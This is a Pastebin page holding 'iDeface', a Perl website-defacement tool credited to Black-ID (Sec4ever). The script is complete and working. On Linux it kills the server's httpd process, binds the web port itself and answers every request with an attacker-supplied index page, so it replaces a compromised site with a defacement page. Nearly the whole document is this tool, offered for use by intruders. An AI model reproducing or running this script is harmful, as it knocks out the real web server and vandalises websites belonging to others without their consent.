Black-ID

iDeface

Dec 30th, 2012
509
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.44 KB | None | 0 0
  1. use strict;
  2. use warnings;
  3. use Socket;
  4. use IO::Select;
  5. use threads;
  6. use threads::shared;
  7.  
  8. if($^O =~ /Win/){
  9.  
  10.    system("cls");
  11.    system('title iDeface');
  12.  
  13. }else{
  14.  
  15.    system("clear");
  16. }
  17. print q'
  18. _ _____        __              
  19. (_)  __ \      / _|              
  20. _| |  | | ___| |_ __ _  ___ ___
  21. | | |  | |/ _ \  _/ _` |/ __/ _ \
  22. | | |__| |  __/ || (_| | (_|  __/
  23. |_|_____/ \___|_| \__,_|\___\___|
  24.                         v1.0
  25. ';
  26. if(@ARGV < 2){
  27. print q(
  28. ############################[Priv8]############################
  29. #               Linux/Windows Defacer (Based WebServer)       #
  30. ###############################################################
  31. #     usage : deface.pl [Index] [Port]                        #
  32. #-------------------------------------------------------------#
  33. #    [Index] : index path             (/var/tmp/dz0.html)     #
  34. #    [Port] : Based Server Port               (80)            #
  35. #                                                             #
  36. ###############################################################
  37. #                Coded By Black-ID (Sec4ever)                 #
  38. ###############################################################
  39. );exit;}
  40.  
  41. if($^O =~ /linux/){
  42. system('killall httpd')
  43. }
  44. $|  = 1;
  45.  
  46. use vars qw/
  47.  $port
  48.  $request_line
  49. /;
  50.  
  51.  
  52. init();
  53.  
  54. local *S;
  55.  
  56. socket     (S, PF_INET   , SOCK_STREAM , getprotobyname('tcp')) or die "couldn't open socket: $!";
  57. setsockopt (S, SOL_SOCKET, SO_REUSEADDR, 1);
  58. bind       (S, sockaddr_in($port, INADDR_ANY));
  59. listen     (S, 5)                                               or die "don't hear anything:  $!";
  60.  
  61. my $socket = IO::Select->new();
  62. $socket -> add (*S);
  63.  
  64.  
  65. while(1) {
  66. #glob $SIG{INT} = \&interrupt;
  67.   my @connections_pending = $socket->can_read();
  68.   foreach (@connections_pending) {
  69.     my $fheader;
  70.     my $remote = accept($fheader, $_);
  71.  
  72.     my($port,$iaddr) = sockaddr_in($remote);
  73.     my $peeraddress = inet_ntoa($iaddr);
  74.     print $peeraddress;
  75.     my $threads = threads->create(\&nsocket, $fheader);
  76.     $threads->detach();
  77.   }
  78. }
  79.  
  80. sub nsocket {
  81.  
  82.   my $fheader = shift;
  83.  
  84.   binmode $fheader;
  85.   my %req;
  86.  
  87.   $req{HEADER}={};
  88.  
  89.   my $request_line = <$fheader>;
  90.   my $first_line = "";
  91.  
  92.   while ($request_line ne "\r\n") {
  93.      unless ($request_line) {
  94.        close $fheader;
  95.      }
  96.  
  97.      chomp $request_line;
  98.  
  99.      unless ($first_line) {
  100.        $first_line = $request_line;
  101.  
  102.       my @parts = split(" ", $first_line);
  103.        if (@parts != 3) {
  104.          close $fheader;
  105.        }
  106.          
  107.        $req{METHOD} = $parts[0];
  108.        $req{OBJECT} = $parts[1];
  109.        $req{VERSION} = $parts[2];
  110.      }
  111.      else {
  112.        my ($name, $value) = split(": ", $request_line);
  113.        $name       = lc $name;
  114.        $req{HEADER}{$name} = $value;
  115.      }
  116.     $request_line = <$fheader>;
  117.   }
  118.   handler($fheader, \%req);
  119.  
  120.   close $fheader;
  121. }
  122.  
  123. sub handler {
  124.   my $fheader     =   shift;
  125.   my $req_   =   shift;
  126.  
  127.   my %req    =   %$req_;
  128.  
  129.   my %header = %{$req{HEADER}};
  130.  
  131.   print $fheader "HTTP/1.0 200 OK\r\n";
  132.   print $fheader "Server: Black-ID\r\n";
  133.  
  134.   #print $fheader "content-length: ... \r\n";
  135.   #print $fheader "Content-Type: text/plain\r\n";
  136.   print $fheader "\r\n";
  137.  
  138.  
  139. open(INDEX, "<$ARGV[0]") || die "[-] Can't open the index file!";
  140.  
  141. print $fheader <INDEX>;
  142. close INDEX;
  143. print $req{OBJECT};
  144. print " |";
  145. print $req{METHOD};
  146. print " |";
  147. print $req{VERSION};
  148. print "\n";
  149. }
  150.  
  151. sub init {
  152.   $port = $ARGV[1];
  153. }
  154.  
  155. 1;
Advertisement
Add Comment
Please, Sign In to add comment